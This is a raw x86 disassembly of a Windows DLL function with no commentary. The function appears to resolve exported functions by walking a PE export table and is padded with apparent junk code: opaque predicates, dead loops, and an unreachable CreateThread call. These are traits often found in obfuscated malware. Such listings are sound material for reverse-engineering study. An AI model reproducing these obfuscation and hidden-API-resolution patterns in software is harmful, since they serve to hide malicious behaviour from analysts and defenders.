mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x100357d7
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0xc0c], 0
jmp 0x100357ae
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x8e0], 0
jmp 0x10035805
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8e0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x8e0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8e0], 0x14
je 0x10035921
mov dword [ebp - 0x944], 0
mov dword [ebp - 0x22c], 0
jmp 0x1003583c
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 4
jge 0x10035858
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0xc00], 0x58fb
jmp 0x1003582f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc0c], 0
je 0x1003587d
mov eax, 0xe842
test eax, eax
je 0x1003587d
mov dword [ebp - 0x404], 1
jmp 0x10035884
and dword [ebp - 0x404], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xc00]
imul eax, dword [ebp - 0x404]
push 4
pop ecx
shl ecx, 1
cmp dword [ebp + ecx - 0xc00], eax
jg 0x100358c2
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xc00], 0
je 0x100358c2
mov dword [ebp - 0x40c], 1
jmp 0x100358c9
and dword [ebp - 0x40c], 0
cmp dword [ebp - 0x40c], 0xcc4b7c70
jbe 0x100358e1
mov dword [ebp - 0x414], 1
jmp 0x100358e8
and dword [ebp - 0x414], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xc00]
cmp eax, dword [ebp - 0x414]
jg 0x10035909
mov dword [ebp - 0x41c], 1
jmp 0x10035910
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
mov dword [ebp - 0x944], eax
jmp 0x100357ea
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x10035939
call dword [sym.imp.USER32.dll_WaitMessage]
cmp dword [ebp - 0x17c], 0xffffffff
jne 0x10035a62
mov ecx, 0x1063d53c
call fcn.1003753b
mov ecx, dword [ebp - 0xc4]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1063d53c
call fcn.1003753f
and dword [ebp - 0x174], 0
jmp 0x1003597a
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x174]
cmp ecx, dword [eax + 0x18]
jae 0x10035a62
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x184]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x174]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0
je 0x10035a5d
mov eax, dword [ebp - 0x424]
mov ecx, dword [ebp - 0x184]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0xebc]
call fcn.1000f8ee
mov dword [ebp - 4], 0x22
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0xebc]
call fcn.1002294e
mov dword [ebp - 0x42c], eax
movzx eax, byte [0x1063d410]
test eax, eax
je 0x10035a0b
mov ecx, 0x1063d53c
call fcn.1003740a
movzx eax, al
test eax, eax
jne 0x10035a2b
lea eax, [ebp - 0x42c]
push eax
mov ecx, 0x1063d53c
call fcn.100374fd
mov ecx, dword [ebp - 0x174]
mov dword [eax], ecx
mov byte [0x1063d410], 1
cmp dword [ebp - 0x17c], 0xffffffff
jne 0x10035a4e
mov eax, dword [ebp - 0x42c]
cmp eax, dword [ebp - 0x234]
jne 0x10035a4e
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x17c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xebc]
call fcn.1000f959
jmp 0x1003596d
mov dword [ebp - 0x150], 0x56834504
mov dword [ebp - 0x43c], 0
mov dword [ebp - 0x954], 0x443eb606
cmp dword [ebp - 0x150], 0
je 0x10035bfc
mov dword [ebp - 0x434], 0x163f
mov dword [ebp - 0x94c], 0x10008798
cmp dword [ebp - 0x434], 0x1953
jle 0x10035b8d
and dword [ebp - 0x24c], 0
jmp 0x10035ac7
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x6e8d
jge 0x10035b8d
and dword [ebp - 0x23c], 0
jmp 0x10035aed
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x6d75
jge 0x10035b88
and dword [ebp - 0x244], 0
jmp 0x10035b13
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x6e35
jge 0x10035b83
and dword [ebp - 0x254], 0
jmp 0x10035b35
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x6b38
jge 0x10035b81
mov eax, dword [ebp - 0x23c]
cdq
idiv dword [ebp - 0x244]
mov eax, dword [ebp - 0x24c]
sub eax, edx
sub eax, dword [ebp - 0x254]
cdq
mov dword [ebp - 0x9f0], eax
mov dword [ebp - 0x9ec], edx
push dword [ebp - 0x9ec]
push dword [ebp - 0x9f0]
mov ecx, 0x1061a6b8
call fcn.1000f7b3
jmp 0x10035b28
jmp 0x10035b06
jmp 0x10035ae0
jmp 0x10035aba
mov byte [ebp - 0x15c], 0
movzx eax, byte [ebp - 0x15c]
test eax, eax
je 0x10035bb1
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], 0x23
cmp dword [ebp - 0x434], 0x14cf
jge 0x10035bd4
mov edx, dword [ebp - 0x94c]
mov ecx, 0x1061a6b8
call fcn.10011dbf
jmp 0x10035bf0
or dword [ebp - 4], 0xffffffff
jmp 0x10035bfa
jmp 0x10035c75
mov dword [ebp - 0x150], 0xffffffec
jmp 0x10035c15
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x31
jne 0x10035c75
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 1
jle 0x10035c3f
mov dword [ebp - 0x444], 1
jmp 0x10035c46
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0x444]
jge 0x10035c60
mov dword [ebp - 0x44c], 1
jmp 0x10035c67
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x954], eax
jmp 0x10035c08
cmp dword [ebp + 0x10], 0
jne 0x10035ca4
cmp dword [ebp - 0x17c], 0xffffffff
je 0x10035ca4
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x184]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0x17c]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x98], ax
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x96c], 0xa44198d7
mov dword [ebp - 0xccc], 0xf9150fae
push 3
lea ecx, [ebp - 0xd50]
call fcn.1000fa0b
mov dword [ebp - 4], 0x25
mov dword [ebp - 0xd90], 0xfffffffb
mov dword [ebp - 0xb28], 0xfffffffd
mov dword [ebp - 0xb24], 0xfffffffd
mov dword [ebp - 0xb20], 0xfffffffd
mov dword [ebp - 0xb1c], 0xfffffffd
mov dword [ebp - 0x70], 0
jmp 0x10035d15
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x10035d2b
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xc14], 0x1891f782
jmp 0x10035d0e
mov dword [ebp - 0x70], 0
jmp 0x10035d3b
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x10035d57
push dword [ebp - 0x70]
lea ecx, [ebp - 0xd50]
call fcn.1000fa89
mov dword [eax], 0x80997408
jmp 0x10035d34
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xc14], 1
cmp dword [ebp - 0x38], 1
jg 0x10035d7a
mov dword [ebp - 0x454], 1
jmp 0x10035d81
and dword [ebp - 0x454], 0
cmp dword [ebp - 0x38], 0xc038
je 0x10035d96
mov dword [ebp - 0x95c], 1
jmp 0x10035d9d
and dword [ebp - 0x95c], 0
cmp dword [ebp - 0x38], 0
jne 0x10035dac
mov eax, 0x8afc
test eax, eax
je 0x10035dbe
cmp dword [ebp - 0x38], 0
je 0x10035dbe
mov dword [ebp - 0x964], 1
jmp 0x10035dc5
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xcd4], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xe00], eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
add eax, 0xd333
cmp eax, dword [ebp - 0x38]
jne 0x10035df3
mov dword [ebp - 0x45c], 1
jmp 0x10035dfa
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x454]
cmp eax, dword [ebp - 0x45c]
jge 0x10035e14
mov dword [ebp - 0x464], 1
jmp 0x10035e1b
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x464], eax
jge 0x10035e32
mov dword [ebp - 0x46c], 1
jmp 0x10035e39
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x96c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xb28]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xb28], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd50]
call fcn.1000fa6d
movzx eax, word [ebp - 0x98]
cmp eax, 0xffff
je 0x10036233
movzx eax, word [ebp - 0x98]
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp - 0x184]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x974], eax
mov eax, dword [ebp - 0x974]
mov ecx, dword [ebp - 0x184]
add ecx, dword [eax]
mov dword [ebp - 0xa4], ecx
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0xc4]
jbe 0x10036228
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0xa4], edx
jae 0x10036228
mov eax, dword [0x1063d55c]
and eax, 2
jne 0x10035f1e
mov eax, dword [0x1063d55c]
or eax, 2
mov dword [0x1063d55c], eax
mov dword [ebp - 4], 0x26
push 0x1db9
call fcn.100147fa
pop ecx
mov byte [0x1063d59c], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xa0], 2
mov byte [ebp - 0x9f], 0x42
mov byte [ebp - 0x9e], 0
mov byte [ebp - 0x9d], 8
mov byte [ebp - 0x9c], 1
mov byte [ebp - 0x9b], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xa0]
and eax, 0x2e
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xa0]
or ecx, 0x2e
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa0]
mov byte [ebp + eax - 0x18c], cl
mov dword [ebp - 0xcc], 2
and dword [ebp - 0x474], 0
jmp 0x10035fa2
mov eax, dword [ebp - 0xcc]
inc eax
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 6
jae 0x1003601f
mov eax, dword [ebp - 0xcc]
sub eax, dword [ebp - 0x474]
movzx eax, byte [ebp + eax - 0xa2]
movsx eax, byte [ebp + eax - 0x18c]
mov ecx, dword [ebp - 0xcc]
movzx ecx, byte [ebp + ecx - 0x9f]
and ecx, eax
mov eax, dword [ebp - 0xcc]
sub eax, dword [ebp - 0x474]
movzx eax, byte [ebp + eax - 0xa2]
movsx eax, byte [ebp + eax - 0x18c]
mov edx, dword [ebp - 0xcc]
movzx edx, byte [ebp + edx - 0x9f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0xcc]
movzx eax, byte [ebp + eax - 0xa0]
mov byte [ebp + eax - 0x18c], dl
jmp 0x10035f94
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x18c], 0
mov eax, dword [0x1063d55c]
and eax, 4
jne 0x1003606b
mov eax, dword [0x1063d55c]
or eax, 4
mov dword [0x1063d55c], eax
mov dword [ebp - 4], 0x27
lea eax, [ebp - 0x18c]
push eax
mov ecx, 0x1063d584
call fcn.1000f8ee
push 0x10073952
call fcn.10059879
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x25c], 0
jmp 0x10036081
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 4
jae 0x1003609a
mov eax, dword [ebp - 0x25c]
mov byte [ebp + eax - 0x18c], 0
jmp 0x10036074
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x158], eax
movsx eax, byte [0x1063d59c]
mov ecx, dword [ebp - 0x158]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x100360c9
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
jmp 0x100360a6
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
push dword [ebp - 0x158]
push dword [ebp - 0xa4]
lea ecx, [ebp - 0xe1c]
call fcn.100379ed
mov dword [ebp - 4], 0x28
push 0x1063d584
lea ecx, [ebp - 0xe1c]
call fcn.1000f981
lea eax, [ebp - 0xcdc]
push eax
lea ecx, [ebp - 0xe1c]
call fcn.10010096
push dword [eax]
lea eax, [ebp - 0xd98]
push eax
lea ecx, [ebp - 0xe1c]
call fcn.10010082
push dword [eax]
lea ecx, [ebp - 0xea4]
call fcn.10037a16
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0xea4]
push eax
call fcn.10023311
pop ecx
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
je 0x100361d4
push dword [ebp - 0x158]
lea ecx, [ebp - 0xe6c]
call fcn.1000f8ee
mov byte [ebp - 4], 0x2a
lea edx, [ebp - 0x97c]
lea ecx, [ebp - 0xe6c]
call fcn.10022a18
movzx eax, al
test eax, eax
je 0x100361a4
push 0
push dword [ebp - 0x97c]
push 0
push dword [ebp - 0x34c]
call fcn.1002f655
add esp, 0x10
mov dword [ebp - 0xa4], eax
jmp 0x100361c3
push 1
push 0
lea eax, [ebp - 0xe6c]
push eax
push dword [ebp - 0x34c]
call fcn.1002f655
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0xe6c]
call fcn.1000f959
jmp 0x1003620a
cmp dword [ebp + 0x10], 0
jne 0x100361ea
mov ecx, dword [ebp + 0xc]
call fcn.1000f793
mov dword [ebp - 0x47c], eax
jmp 0x100361f4
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x47c], eax
push dword [ebp - 0x47c]
push dword [ebp + 8]
call fcn.100294e1
pop ecx
pop ecx
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xea4]
call fcn.1001f3c5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe1c]
call fcn.1000f959
mov eax, dword [ebp - 0xa4]
jmp 0x10036350
mov dword [ebp - 0xce4], 0xfffffffe
mov dword [ebp - 0x35c], 0x8f69f7fd
mov dword [ebp - 0x994], 1
mov dword [ebp - 0x98c], 0xfffffff6
mov dword [ebp - 0x984], 0xffffffff
mov dword [ebp - 0x354], 0x182a
mov dword [ebp - 0x264], 0
jmp 0x10036288
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 3
jge 0x100362a4
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0xba0], 7
jmp 0x1003627b
xor eax, eax
jne 0x100362c8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xba0]
add eax, dword [ebp - 0x35c]
push 4
pop ecx
imul ecx, ecx, 0
cmp dword [ebp + ecx - 0xba0], eax
cmp dword [ebp - 0x35c], 0
je 0x100362dd
mov dword [ebp - 0x484], 1
jmp 0x100362e4
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x984]
cmp dword [ebp - 0x484], eax
jg 0x100362f9
cmp dword [ebp - 0x98c], 0
cmp dword [ebp - 0x994], 0xf209
jg 0x10036317
mov eax, 0xff60
test eax, eax
jne 0x10036317
and dword [ebp - 0x48c], 0
jmp 0x10036321
mov dword [ebp - 0x48c], 1
mov eax, dword [ebp - 0x354]
dec eax
mov dword [ebp - 0x354], eax
mov eax, dword [ebp - 0x354]
imul eax, dword [ebp - 0x48c]
add eax, dword [ebp - 0x35c]
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xba0], eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret